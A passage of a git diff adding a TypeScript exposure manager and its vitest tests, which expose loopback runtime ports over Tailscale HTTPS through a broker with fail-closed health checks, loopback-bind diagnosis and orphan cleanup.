+          done(() => reject(new BrokerClientError("malformed_response", "broker response missing ok flag")));
+          return;
+        }
+        done(() => resolve(obj));
+      });
+
+      socket.on("connect", () => {
+        socket.write(frame);
+      });
+    });
+  }
+}
diff --git a/server/src/services/runtime-exposure/exposure-manager.test.ts b/server/src/services/runtime-exposure/exposure-manager.test.ts
new file mode 100644
index 00000000000..1cbbba24d6b
--- /dev/null
+++ b/server/src/services/runtime-exposure/exposure-manager.test.ts
@@ -0,0 +1,449 @@
+import { describe, expect, it } from "vitest";
+
+import { RUNTIME_EXPOSURE_APP_PORT_MIN, deriveViteHmrPort } from "@paperclipai/shared";
+
+import {
+  BrokerClientError,
+  type BrokerClient,
+  type BrokerExposeResult,
+  type BrokerListenerRequest,
+  type BrokerOwnedListener,
+  type BrokerReserveResult,
+  type BrokerRemoveResult,
+} from "./broker-client.js";
+import {
+  deprovisionExposure,
+  provisionExposure,
+  reconcileExposures,
+  reserveExposure,
+  type ExposureManagerDeps,
+} from "./exposure-manager.js";
+
+const RUNTIME_ID = "11111111-2222-4333-8444-555566667777";
+const APP_PORT = RUNTIME_EXPOSURE_APP_PORT_MIN;
+const HMR_PORT = deriveViteHmrPort(APP_PORT);
+const HOSTNAME = "runner-abc.tail-scale.ts.net";
+
+const CONFIG = {
+  type: "tailscale_https" as const,
+  hostname: "auto" as const,
+  publicPort: "same" as const,
+  includePaperclipViteHmr: true,
+  failurePolicy: "fail_closed" as const,
+};
+
+interface FakeBrokerScript {
+  reserve?: (runtimeId: string, listeners: BrokerListenerRequest[]) => BrokerReserveResult;
+  expose?: (runtimeId: string, handle: string) => BrokerExposeResult;
+  remove?: (runtimeId: string, handle: string) => BrokerRemoveResult;
+  list?: () => BrokerOwnedListener[];
+}
+
+interface FakeBrokerCalls {
+  reserve: Array<{ runtimeId: string; listeners: BrokerListenerRequest[] }>;
+  expose: Array<{ runtimeId: string; handle: string }>;
+  remove: Array<{ runtimeId: string; handle: string }>;
+  list: number;
+}
+
+function fakeBroker(script: FakeBrokerScript): { broker: BrokerClient; calls: FakeBrokerCalls } {
+  const calls: FakeBrokerCalls = { reserve: [], expose: [], remove: [], list: 0 };
+  const broker: BrokerClient = {
+    async reserve(runtimeId, listeners) {
+      calls.reserve.push({ runtimeId, listeners });
+      if (!script.reserve) throw new BrokerClientError("internal_error", "no reserve script");
+      return script.reserve(runtimeId, listeners);
+    },
+    async expose(runtimeId, handle) {
+      calls.expose.push({ runtimeId, handle });
+      if (!script.expose) throw new BrokerClientError("internal_error", "no expose script");
+      return script.expose(runtimeId, handle);
+    },
+    async remove(runtimeId, handle) {
+      calls.remove.push({ runtimeId, handle });
+      if (!script.remove) throw new BrokerClientError("internal_error", "no remove script");
+      return script.remove(runtimeId, handle);
+    },
+    async list() {
+      calls.list += 1;
+      return script.list ? script.list() : [];
+    },
+  };
+  return { broker, calls };
+}
+
+const HANDLE = "handle-abcdef1234567890";
+
+describe("reserveExposure", () => {
+  it("reserves the exact app + HMR pair before startup", async () => {
+    const { broker, calls } = fakeBroker({
+      reserve: () => ({ handle: HANDLE, reservedPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const result = await reserveExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      appPort: APP_PORT,
+    });
+    expect(calls.reserve).toEqual([{
+      runtimeId: RUNTIME_ID,
+      listeners: [
+        { purpose: "app", port: APP_PORT },
+        { purpose: "vite_hmr", port: HMR_PORT },
+      ],
+    }]);
+    expect(result.handle).toBe(HANDLE);
+    expect(result.status.state).toBe("pending");
+  });
+
+  it("releases a malformed reservation response and fails closed", async () => {
+    const { broker, calls } = fakeBroker({
+      reserve: () => ({ handle: HANDLE, reservedPorts: [APP_PORT] }),
+      remove: () => ({ removedPorts: [] }),
+    });
+    const result = await reserveExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      appPort: APP_PORT,
+    });
+    expect(result.status.state).toBe("failed");
+    expect(result.handle).toBeNull();
+    expect(calls.remove).toEqual([{ runtimeId: RUNTIME_ID, handle: HANDLE }]);
+  });
+});
+
+function deps(broker: BrokerClient, probeHealth: () => Promise<boolean>): ExposureManagerDeps {
+  return { broker, probeHealth, now: () => "2026-08-11T00:00:00.000Z" };
+}
+
+describe("provisionExposure loopback diagnosis (PAP-17256)", () => {
+  it("fails before touching the broker when a listener is provably off-loopback", async () => {
+    const { broker, calls } = fakeBroker({
+      expose: () => ({ handle: HANDLE, publicPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const seen: number[][] = [];
+    const result = await provisionExposure(
+      {
+        ...deps(broker, async () => true),
+        diagnoseListenerBinds: async (ports) => {
+          seen.push(ports);
+          return `port ${APP_PORT} is bound to 0.0.0.0 instead of loopback only`;
+        },
+      },
+      { runtimeId: RUNTIME_ID, config: CONFIG, handle: HANDLE, hostname: HOSTNAME, appPort: APP_PORT },
+    );
+
+    // Both the app port and its HMR companion are diagnosed, because the broker
+    // gates on both and either one can be the wildcard bind.
+    expect(seen).toEqual([[APP_PORT, HMR_PORT]]);
+    expect(calls.expose).toHaveLength(0);
+    expect(result.status.state).toBe("failed");
+    // The persisted code stays the broker's own vocabulary so retry/cleanup
+    // matching is unchanged; the reason rides alongside.
+    expect(result.status.lastError).toBe("listener_ownership_mismatch");
+    expect(result.errorDetail).toContain("0.0.0.0");
+    // The reservation handle survives so the caller can still tear the lease down.
+    expect(result.handle).toBe(HANDLE);
+  });
+
+  it("exposes normally when the diagnosis finds nothing wrong", async () => {
+    const { broker, calls } = fakeBroker({
+      expose: () => ({ handle: HANDLE, publicPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const result = await provisionExposure(
+      { ...deps(broker, async () => true), diagnoseListenerBinds: async () => null },
+      { runtimeId: RUNTIME_ID, config: CONFIG, handle: HANDLE, hostname: HOSTNAME, appPort: APP_PORT },
+    );
+    expect(calls.expose).toHaveLength(1);
+    expect(result.status.state).toBe("ready");
+    expect(result.errorDetail ?? null).toBeNull();
+  });
+
+  it("surfaces the broker's own reason alongside its code", async () => {
+    const { broker } = fakeBroker({
+      expose: () => {
+        throw new BrokerClientError(
+          "listener_ownership_mismatch",
+          `listener on ${APP_PORT} is not loopback-only`,
+        );
+      },
+    });
+    const result = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(result.status.lastError).toBe("listener_ownership_mismatch");
+    expect(result.errorDetail).toBe(`listener on ${APP_PORT} is not loopback-only`);
+  });
+
+  it("does not repeat the code as a reason when the broker adds nothing", async () => {
+    const { broker } = fakeBroker({
+      expose: () => {
+        throw new BrokerClientError("cli_timeout", "cli_timeout");
+      },
+    });
+    const result = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(result.status.lastError).toBe("cli_timeout");
+    expect(result.errorDetail).toBeNull();
+  });
+});
+
+describe("provisionExposure", () => {
+  it("exposes app + HMR and reports ready once the HTTPS probe validates", async () => {
+    const { broker, calls } = fakeBroker({
+      expose: () => ({ handle: "handle-abcdef1234567890", publicPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const { status, handle } = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+
+    expect(calls.expose).toHaveLength(1);
+    expect(calls.expose).toEqual([{ runtimeId: RUNTIME_ID, handle: HANDLE }]);
+    expect(status.state).toBe("ready");
+    expect(status.publicUrl).toBe(`https://${HOSTNAME}:${APP_PORT}`);
+    expect(status.hostname).toBe(HOSTNAME);
+    expect(status.listeners).toHaveLength(2);
+    expect(status.brokerRef).toBe(RUNTIME_ID);
+    expect(status.lastError).toBeNull();
+    expect(handle).toBe("handle-abcdef1234567890");
+  });
+
+  it("omits the HMR listener when HMR is not requested", async () => {
+    const { broker, calls } = fakeBroker({
+      expose: () => ({ handle: "handle-abcdef1234567890", publicPorts: [APP_PORT] }),
+    });
+    const { status } = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: { ...CONFIG, includePaperclipViteHmr: false },
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(calls.expose).toEqual([{ runtimeId: RUNTIME_ID, handle: HANDLE }]);
+    expect(status.listeners).toEqual([{ purpose: "app", publicPort: APP_PORT, targetPort: APP_PORT }]);
+    expect(status.state).toBe("ready");
+  });
+
+  it("fails closed without calling the broker when the app port is out of range", async () => {
+    const { broker, calls } = fakeBroker({});
+    const { status, handle } = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: 3100, // primary app port — never eligible
+    });
+    expect(calls.expose).toHaveLength(0);
+    expect(status.state).toBe("failed");
+    expect(handle).toBe(HANDLE);
+  });
+
+  it("fails when the broker rejects the expose request", async () => {
+    const { broker } = fakeBroker({
+      expose: () => {
+        throw new BrokerClientError("port_not_allowlisted", "denied");
+      },
+    });
+    const { status, handle } = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(status.state).toBe("failed");
+    expect(status.lastError).toBe("port_not_allowlisted");
+    expect(status.listeners).toHaveLength(2);
+    expect(handle).toBe(HANDLE);
+  });
+
+  it("tears the mapping back down and fails when returned ports do not match", async () => {
+    const { broker, calls } = fakeBroker({
+      expose: () => ({ handle: "handle-abcdef1234567890", publicPorts: [APP_PORT] }), // missing HMR
+      remove: () => ({ removedPorts: [APP_PORT] }),
+    });
+    const { status, handle } = await provisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(status.state).toBe("failed");
+    expect(status.lastError).toMatch(/unexpected public ports/);
+    expect(calls.remove).toHaveLength(1); // best-effort rollback
+    expect(handle).toBe(HANDLE);
+  });
+
+  it("fail-closed: keeps the handle but reports failed when the HTTPS probe does not validate", async () => {
+    const { broker } = fakeBroker({
+      expose: () => ({ handle: "handle-abcdef1234567890", publicPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const { status, handle } = await provisionExposure(deps(broker, async () => false), {
+      runtimeId: RUNTIME_ID,
+      config: CONFIG,
+      handle: HANDLE,
+      hostname: HOSTNAME,
+      appPort: APP_PORT,
+    });
+    expect(status.state).toBe("failed");
+    expect(status.publicUrl).toBeNull();
+    expect(status.listeners).toHaveLength(2); // attempted mapping still surfaced
+    expect(status.lastError).toMatch(/health probe/);
+    // Handle retained so the caller can retry or clean up the dangling mapping.
+    expect(handle).toBe("handle-abcdef1234567890");
+  });
+
+  it("fail-closed: treats a probe that throws as unhealthy", async () => {
+    const { broker } = fakeBroker({
+      expose: () => ({ handle: "handle-abcdef1234567890", publicPorts: [APP_PORT, HMR_PORT] }),
+    });
+    const { status } = await provisionExposure(
+      deps(broker, async () => {
+        throw new Error("cert error");
+      }),
+      { runtimeId: RUNTIME_ID, config: CONFIG, handle: HANDLE, hostname: HOSTNAME, appPort: APP_PORT },
+    );
+    expect(status.state).toBe("failed");
+  });
+});
+
+describe("deprovisionExposure", () => {
+  it("is a no-op removal when no handle was ever recorded", async () => {
+    const { broker, calls } = fakeBroker({});
+    const { status, quarantinedPorts } = await deprovisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      handle: null,
+      ports: [APP_PORT, HMR_PORT],
+    });
+    expect(calls.remove).toHaveLength(0);
+    expect(status.state).toBe("removed");
+    expect(quarantinedPorts).toEqual([]);
+  });
+
+  it("removes cleanly with a handle", async () => {
+    const { broker, calls } = fakeBroker({ remove: () => ({ removedPorts: [APP_PORT, HMR_PORT] }) });
+    const { status, quarantinedPorts } = await deprovisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      handle: "handle-abcdef1234567890",
+      ports: [APP_PORT, HMR_PORT],
+    });
+    expect(calls.remove).toHaveLength(1);
+    expect(status.state).toBe("removed");
+    expect(quarantinedPorts).toEqual([]);
+  });
+
+  it("treats an already-gone mapping as removed (idempotent)", async () => {
+    const { broker } = fakeBroker({
+      remove: () => {
+        throw new BrokerClientError("invalid_handle", "gone");
+      },
+    });
+    const { status, quarantinedPorts } = await deprovisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      handle: "handle-abcdef1234567890",
+      ports: [APP_PORT, HMR_PORT],
+    });
+    expect(status.state).toBe("removed");
+    expect(quarantinedPorts).toEqual([]);
+  });
+
+  it("quarantines ports and reports cleanup_pending on an ambiguous cleanup failure", async () => {
+    const { broker } = fakeBroker({
+      remove: () => {
+        throw new BrokerClientError("cli_error", "tailscale serve failed");
+      },
+    });
+    const { status, quarantinedPorts } = await deprovisionExposure(deps(broker, async () => true), {
+      runtimeId: RUNTIME_ID,
+      handle: "handle-abcdef1234567890",
+      ports: [APP_PORT, HMR_PORT, APP_PORT],
+    });
+    expect(status.state).toBe("cleanup_pending");
+    expect(status.lastError).toBe("cli_error");
+    expect(quarantinedPorts).toEqual([APP_PORT, HMR_PORT]); // deduped
+  });
+});
+
+describe("reconcileExposures", () => {
+  it("adopts owned mappings that are still desired", async () => {
+    const { broker, calls } = fakeBroker({
+      list: () => [
+        { runtimeId: RUNTIME_ID, port: APP_PORT, purpose: "app" },
+        { runtimeId: RUNTIME_ID, port: HMR_PORT, purpose: "vite_hmr" },
+      ],
+    });
+    const result = await reconcileExposures(deps(broker, async () => true), {
+      desiredRuntimeIds: new Set([RUNTIME_ID]),
+      handlesByRuntimeId: new Map(),
+    });
+    expect(result.adopted).toEqual([RUNTIME_ID]);
+    expect(result.removedOrphanPorts).toEqual([]);
+    expect(calls.remove).toHaveLength(0);
+  });
+
+  it("removes an orphaned owned mapping when a handle is available", async () => {
+    const orphan = "99999999-2222-4333-8444-555566667777";
+    const { broker, calls } = fakeBroker({
+      list: () => [{ runtimeId: orphan, port: APP_PORT, purpose: "app" }],
+      remove: () => ({ removedPorts: [APP_PORT] }),
+    });
+    const result = await reconcileExposures(deps(broker, async () => true), {
+      desiredRuntimeIds: new Set([RUNTIME_ID]),
+      handlesByRuntimeId: new Map([[orphan, "handle-abcdef1234567890"]]),
+    });
+    expect(result.removedOrphanPorts).toEqual([APP_PORT]);
+    expect(calls.remove).toEqual([{ runtimeId: orphan, handle: "handle-abcdef1234567890" }]);
+    expect(result.unremovableOrphans).toEqual([]);
+  });
+
+  it("never mutates an orphan it has no handle for (no remove call)", async () => {
+    const orphan = "99999999-2222-4333-8444-555566667777";
+    const { broker, calls } = fakeBroker({
+      list: () => [{ runtimeId: orphan, port: APP_PORT, purpose: "app" }],
+    });
+    const result = await reconcileExposures(deps(broker, async () => true), {
+      desiredRuntimeIds: new Set([RUNTIME_ID]),
+      handlesByRuntimeId: new Map(),
+    });
+    expect(calls.remove).toHaveLength(0);
+    expect(result.unremovableOrphans).toEqual([orphan]);
+    expect(result.removedOrphanPorts).toEqual([]);
+  });
+
+  it("records non-fatal errors without aborting reconciliation", async () => {
+    const orphanA = "aaaaaaaa-2222-4333-8444-555566667777";
+    const orphanB = "bbbbbbbb-2222-4333-8444-555566667777";
+    const { broker } = fakeBroker({
+      list: () => [
+        { runtimeId: orphanA, port: APP_PORT, purpose: "app" },
+        { runtimeId: orphanB, port: APP_PORT + 1, purpose: "app" },
+      ],
+      remove: (runtimeId) => {
+        if (runtimeId === orphanA) throw new BrokerClientError("cli_error", "boom");
+        return { removedPorts: [APP_PORT + 1] };
+      },
+    });
+    const result = await reconcileExposures(deps(broker, async () => true), {
+      desiredRuntimeIds: new Set(),
+      handlesByRuntimeId: new Map([
+        [orphanA, "handle-aaaaaaaaaaaaaaaa"],
+        [orphanB, "handle-bbbbbbbbbbbbbbbb"],
+      ]),
+    });
+    expect(result.errors).toEqual([{ runtimeId: orphanA, code: "cli_error" }]);
+    expect(result.removedOrphanPorts).toEqual([APP_PORT + 1]);
+  });
+});
diff --git a/server/src/services/runtime-exposure/exposure-manager.ts b/server/src/services/runtime-exposure/exposure-manager.ts
new file mode 100644
index 00000000000..cb43c13e4e2
--- /dev/null
+++ b/server/src/services/runtime-exposure/exposure-manager.ts
@@ -0,0 +1,399 @@
+/**
+ * Runtime exposure lifecycle orchestrator for the `tailscale_https` mode.
+ *
+ * Owns the exposure state machine independently of the backend process
+ * lifecycle (PAP-17049 plan, PAP-17050 verdict). A backend can be running and
+ * healthy while its HTTPS exposure is still `pending`, `failed`, or
+ * `cleanup_pending`. This module never touches Tailscale directly — it drives
+ * the least-privilege broker through an injected {@link BrokerClient} and an
+ * injected external HTTPS health probe, so every branch is unit-testable
+ * against a fake broker with no sockets, no CLI, and no certificates.
+ *
+ * Invariants enforced here (in addition to the broker's own controls):
+ *  - fail-closed: a configured HTTPS preview is never reported `ready` unless an
+ *    external, normally-validating HTTPS probe succeeds.
+ *  - same-number: only the app port and its derived HMR companion are exposed.
+ *  - idempotent stop/cleanup: a missing/already-removed lease is success, not an
+ *    error; genuine cleanup failures quarantine the ports and never reuse them.
+ *  - reconcile touches only Paperclip-owned mappings the broker reports; it can
+ *    never mutate an unknown/manual mapping or the primary `:443` route (the
+ *    broker's `list` never returns those, and remove requires an owned handle).
+ */
+import type { RuntimeExposureConfigInput, RuntimeExposureStatus } from "@paperclipai/shared";
+import {
+  buildRuntimeExposureHealthUrl,
+  buildRuntimeExposureUrl,
+  deriveViteHmrPort,
+  isRuntimeExposureAppPort,
+} from "@paperclipai/shared";
+
+import {
+  BrokerClientError,
+  type BrokerClient,
+  type BrokerListenerRequest,
+} from "./broker-client.js";
+
+/** Injected seams — all side effects live behind these for testability. */
+export interface ExposureManagerDeps {
+  broker: BrokerClient;
+  /** External HTTPS probe; must reject/return false on cert or connection error. */
+  probeHealth: (healthUrl: string) => Promise<boolean>;
+  /** ISO timestamp source. Injected so tests are deterministic. */
+  now: () => string;
+  /**
+   * Optional operator-facing diagnosis of the about-to-be-exposed listeners,
+   * returning null when nothing is provably wrong (PAP-17256).
+   *
+   * This does not replace the broker's own loopback gate and cannot loosen it —
+   * it runs first only so a wildcard bind fails with the port and address named
+   * instead of a bare `listener_ownership_mismatch`.
+   */
+  diagnoseListenerBinds?: (ports: number[]) => Promise<string | null>;
+}
+
+export interface ProvisionInput {
+  runtimeId: string;
+  config: RuntimeExposureConfigInput;
+  /** Broker-issued reservation handle persisted before the backend starts. */
+  handle: string;
+  /** Resolved Tailscale node DNS hostname (the manager does not resolve it). */
+  hostname: string;
+  /** Loopback app port already allocated in the dedicated range. */
+  appPort: number;
+}
+
+export interface ProvisionResult {
+  status: RuntimeExposureStatus;
+  /**
+   * Server-only lease handle required to later remove the mapping. NEVER
+   * serialized to the UI or embedded in {@link RuntimeExposureStatus}; persist
+   * it in a server-private store. Null when nothing was exposed.
+   */
+  handle: string | null;
+  /**
+   * Human-readable elaboration of {@link RuntimeExposureStatus.lastError}, when
+   * one is available (PAP-17256).
+   *
+   * Deliberately NOT folded into the persisted status: `lastError` stays the
+   * broker's stable machine code so the retry/cleanup vocabularies keep matching
+   * on it. This rides alongside so the caller can put the reason in the failure
+   * the operator actually reads.
+   */
+  errorDetail?: string | null;
+}
+
+export interface ReserveInput {
+  runtimeId: string;
+  config: RuntimeExposureConfigInput;
+  appPort: number;
+}
+
+/** Reserve the app/HMR pair before the backend binds either listener. */
+export async function reserveExposure(
+  deps: ExposureManagerDeps,
+  input: ReserveInput,
+): Promise<ProvisionResult> {
+  const status = baseStatus(deps.now());
+  if (!isRuntimeExposureAppPort(input.appPort)) {
+    status.state = "failed";
+    status.lastError = "app port outside dedicated runtime exposure range";
+    return { status, handle: null };
+  }
+  const requested = buildListenerRequests(input.config, input.appPort);
+  status.listeners = requested.map((listener) => ({
+    purpose: listener.purpose,
+    publicPort: listener.port,
+    targetPort: listener.port,
+  }));
+  status.brokerRef = input.runtimeId;
+  try {
+    const result = await deps.broker.reserve(input.runtimeId, requested);
+    const requestedPorts = new Set(requested.map((listener) => listener.port));
+    const returnedPorts = new Set(result.reservedPorts);
+    if (requestedPorts.size !== returnedPorts.size || ![...requestedPorts].every((port) => returnedPorts.has(port))) {
+      await safeRemove(deps.broker, input.runtimeId, result.handle);
+      status.state = "failed";
+      status.lastError = "broker returned unexpected reserved ports";
+      return { status, handle: null };
+    }
+    return { status, handle: result.handle };
+  } catch (error) {
+    status.state = "failed";
+    status.lastError = brokerErrorCode(error);
+    return { status, handle: null };
+  }
+}
+
+export interface DeprovisionInput {
+  runtimeId: string;
+  /** Server-persisted lease handle, or null if none was ever recorded. */
+  handle: string | null;
+  /** Ports previously exposed for this runtime (for quarantine on failure). */
+  ports: number[];
+}
+
+export interface DeprovisionResult {
+  status: RuntimeExposureStatus;
+  /** Ports that must be quarantined (never reused) after an ambiguous cleanup. */
+  quarantinedPorts: number[];
+}
+
+/** Broker error codes that mean "the mapping is already gone" — cleanup is a no-op. */
+const ALREADY_GONE_CODES: ReadonlySet<string> = new Set([
+  "invalid_handle",
+  "listener_not_owned",
+  "listener_ownership_mismatch",
+]);
+
+function baseStatus(now: string): RuntimeExposureStatus {
+  return {
+    provider: "tailscale_https",
+    state: "pending",
+    publicUrl: null,
+    hostname: null,
+    listeners: [],
+    brokerRef: null,
+    lastError: null,
+    updatedAt: now,
+  };
+}
+
+/** Build the broker listener request list from a validated exposure config. */
+export function buildListenerRequests(
+  config: RuntimeExposureConfigInput,
+  appPort: number,
+): BrokerListenerRequest[] {
+  const listeners: BrokerListenerRequest[] = [{ purpose: "app", port: appPort }];
+  if (config.includePaperclipViteHmr) {
+    listeners.push({ purpose: "vite_hmr", port: deriveViteHmrPort(appPort) });
+  }
+  return listeners;
+}
+
+/**
+ * Provision (or re-provision) the HTTPS exposure for one runtime service.
+ * Idempotent at the broker level: a repeated call for a still-valid mapping
+ * simply re-exposes and re-probes. Always returns a fully-formed status; the
+ * caller persists both the status and the returned server-only handle.
+ */
+export async function provisionExposure(
+  deps: ExposureManagerDeps,
+  input: ProvisionInput,
+): Promise<ProvisionResult> {
+  const now = deps.now();
+  const status = baseStatus(now);
+  status.hostname = input.hostname;
+
+  if (!isRuntimeExposureAppPort(input.appPort)) {
+    status.state = "failed";
+    status.lastError = "app port outside dedicated runtime exposure range";
+    return { status, handle: input.handle };
+  }
+
+  const requested = buildListenerRequests(input.config, input.appPort);
+  status.listeners = requested.map((listener) => ({
+    purpose: listener.purpose,
+    publicPort: listener.port,
+    targetPort: listener.port,
+  }));
+  status.brokerRef = input.runtimeId;
+
+  // Explain a provable off-loopback bind before the broker denies it, so the
+  // failure names the port and the address instead of only the code.
+  if (deps.diagnoseListenerBinds) {
+    const violation = await deps.diagnoseListenerBinds(requested.map((listener) => listener.port));
+    if (violation) {
+      status.state = "failed";
+      status.lastError = "listener_ownership_mismatch";
+      return { status, handle: input.handle, errorDetail: violation };
+    }
+  }
+
+  let handle: string;
+  let publicPorts: number[];
+  try {
+    const result = await deps.broker.expose(input.runtimeId, input.handle);
+    handle = result.handle;
+    publicPorts = result.publicPorts;
+  } catch (error) {
+    status.state = "failed";
+    status.lastError = brokerErrorCode(error);
+    return { status, handle: input.handle, errorDetail: brokerErrorDetail(error) };
+  }
+
+  // The broker must return exactly the ports we asked for (same-number). A
+  // mismatch is a contract violation: tear the mapping back down and fail.
+  const requestedPorts = new Set(requested.map((l) => l.port));
+  const returnedPorts = new Set(publicPorts);
+  if (requestedPorts.size !== returnedPorts.size || ![...requestedPorts].every((p) => returnedPorts.has(p))) {
+    await safeRemove(deps.broker, input.runtimeId, handle);
+    status.state = "failed";
+    status.lastError = "broker returned unexpected public ports";
+    return { status, handle };
+  }
+
+  // Reflect the attempted mapping regardless of health so the UI can show what
+  // was provisioned even while probing.
+  // fail-closed: never report ready until an external, cert-validating probe
+  // succeeds. Keep the handle so the caller can retry or clean up.
+  const healthUrl = buildRuntimeExposureHealthUrl(input.hostname, input.appPort);
+  let healthy = false;
+  try {
+    healthy = await deps.probeHealth(healthUrl);
+  } catch {
+    healthy = false;
+  }
+  if (!healthy) {
+    status.state = "failed";
+    status.publicUrl = null;
+    status.lastError = "external HTTPS health probe did not validate";
+    return { status, handle };
+  }
+
+  status.state = "ready";
+  status.publicUrl = buildRuntimeExposureUrl(input.hostname, input.appPort);
+  status.lastError = null;
+  return { status, handle };
+}
+
+/**
+ * Tear down the HTTPS exposure for one runtime service. Idempotent: a null or
+ * already-gone handle resolves to `removed` with no quarantine. A genuine
+ * cleanup failure resolves to `cleanup_pending` and quarantines the ports.
+ */
+export async function deprovisionExposure(
+  deps: ExposureManagerDeps,
+  input: DeprovisionInput,
+): Promise<DeprovisionResult> {
+  const now = deps.now();
+  const status = baseStatus(now);
+  status.state = "removed";
+
+  if (input.handle === null) {
+    // Nothing the server knows to remove — treat as already cleaned up.
+    return { status, quarantinedPorts: [] };
+  }
+
+  try {
+    await deps.broker.remove(input.runtimeId, input.handle);
+    return { status, quarantinedPorts: [] };
+  } catch (error) {
+    const code = brokerErrorCode(error);
+    if (ALREADY_GONE_CODES.has(code)) {
+      // The mapping is already gone; cleanup is complete and safe.
+      return { status, quarantinedPorts: [] };
+    }
+    // Ambiguous failure: we cannot prove the mapping is gone. Quarantine the
+    // ports so they are never reused, and surface cleanup_pending.
+    status.state = "cleanup_pending";
+    status.lastError = code;
+    return { status, quarantinedPorts: [...new Set(input.ports)] };
+  }
+}
+
+export interface ReconcileInput {
+  /** Runtimes whose exposure SHOULD remain. Everything else owned is an orphan. */
+  desiredRuntimeIds: ReadonlySet<string>;
+  /** Every server-persisted lease handle, keyed by runtimeId (desired + orphaned). */
+  handlesByRuntimeId: ReadonlyMap<string, string>;
+}
+
+export interface ReconcileResult {
+  /** Owned+desired runtimes confirmed present in the broker's mapping. */
+  adopted: string[];
+  /** Ports removed because their runtime is no longer desired. */
+  removedOrphanPorts: number[];
+  /**
+   * Orphaned owned runtimes we could NOT remove because no handle was persisted.
+   * Reported for operator/broker-side quarantine; the manager never fabricates a
+   * handle and never touches a mapping it cannot prove ownership of.
+   */
+  unremovableOrphans: string[];
+  /** Non-fatal per-runtime removal errors during reconciliation. */
+  errors: Array<{ runtimeId: string; code: string }>;
+}
+
+/**
+ * Startup / periodic reconciliation. Adopts owned mappings that are still
+ * desired and removes owned mappings that are not. The broker's `list` only
+ * ever returns Paperclip-owned listeners, so unknown/manual mappings and the
+ * primary `:443` route are structurally out of scope here — they can never be
+ * enumerated, adopted, or removed by this routine.
+ */
+export async function reconcileExposures(
+  deps: ExposureManagerDeps,
+  input: ReconcileInput,
+): Promise<ReconcileResult> {
+  const result: ReconcileResult = {
+    adopted: [],
+    removedOrphanPorts: [],
+    unremovableOrphans: [],
+    errors: [],
+  };
+
+  const owned = await deps.broker.list();
+
+  // Group owned ports by runtimeId.
+  const portsByRuntime = new Map<string, number[]>();
+  for (const listener of owned) {
+    const ports = portsByRuntime.get(listener.runtimeId) ?? [];
+    ports.push(listener.port);
+    portsByRuntime.set(listener.runtimeId, ports);
+  }
+
+  for (const [runtimeId, ports] of portsByRuntime) {
+    if (input.desiredRuntimeIds.has(runtimeId)) {
+      result.adopted.push(runtimeId);
+      continue;
+    }
+    // Orphan: owned by us but no longer desired.
+    const handle = input.handlesByRuntimeId.get(runtimeId);
+    if (!handle) {
+      result.unremovableOrphans.push(runtimeId);
+      continue;
+    }
+    try {
+      const removed = await deps.broker.remove(runtimeId, handle);
+      result.removedOrphanPorts.push(...removed.removedPorts);
+    } catch (error) {
+      const code = brokerErrorCode(error);
+      if (ALREADY_GONE_CODES.has(code)) {
+        // Already gone — reconciled, count its ports as removed for reporting.
+        result.removedOrphanPorts.push(...ports);
+      } else {
+        result.errors.push({ runtimeId, code });
+      }
+    }
+  }
+
+  return result;
+}
+
+/** Best-effort remove used on rollback paths; swallows broker errors. */
+async function safeRemove(broker: BrokerClient, runtimeId: string, handle: string): Promise<void> {
+  try {
+    await broker.remove(runtimeId, handle);
+  } catch {
+    /* best effort — the outer flow has already decided to fail */
+  }
+}
+
+function brokerErrorCode(error: unknown): string {
+  if (error instanceof BrokerClientError) return error.code;
+  return "internal_error";
+}
+
+/**
+ * The broker's own explanation of a denial, when it adds anything to the code.
+ *
+ * The wire protocol already carries it (`BrokerClientError.message`, e.g.
+ * "listener on 42003 is not loopback-only"); dropping it is what made
+ * `listener_ownership_mismatch` unactionable in PAP-17254.
+ */
+function brokerErrorDetail(error: unknown): string | null {
+  if (!(error instanceof BrokerClientError)) {
+    return error instanceof Error ? error.message : null;
+  }
+  const message = error.message.trim();
+  return message && message !== error.code ? message : null;
+}
diff --git a/server/src/services/runtime-exposure/loopback-listener.test.ts b/server/src/services/runtime-exposure/loopback-listener.test.ts
new file mode 100644
index 00000000000..2e25f939c8a
--- /dev/null
+++ b/server/src/services/runtime-exposure/loopback-listener.test.ts
@@ -0,0 +1,182 @@
+import net from "node:net";
+import { describe, expect, it } from "vitest";
+
+import { RUNTIME_EXPOSURE_APP_PORT_MIN, deriveViteHmrPort } from "@paperclipai/shared";
+
+import {
+  diagnoseRuntimeListenerBinds,
+  formatProcAddressHex,
+  listenerBindFactsForPort,
+  parseProcNetListeners,
+} from "./loopback-listener.js";
+
+// Real header and row shape, copied from a live /proc/net/tcp{,6} on the host
